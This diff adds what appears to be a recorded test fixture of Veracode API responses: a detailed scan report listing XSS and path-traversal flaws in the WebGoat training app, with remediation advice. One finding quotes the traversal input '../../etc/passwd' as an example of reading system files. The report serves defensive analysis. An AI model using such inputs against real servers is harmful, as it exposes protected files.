+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:03 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:09:27 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:09:27 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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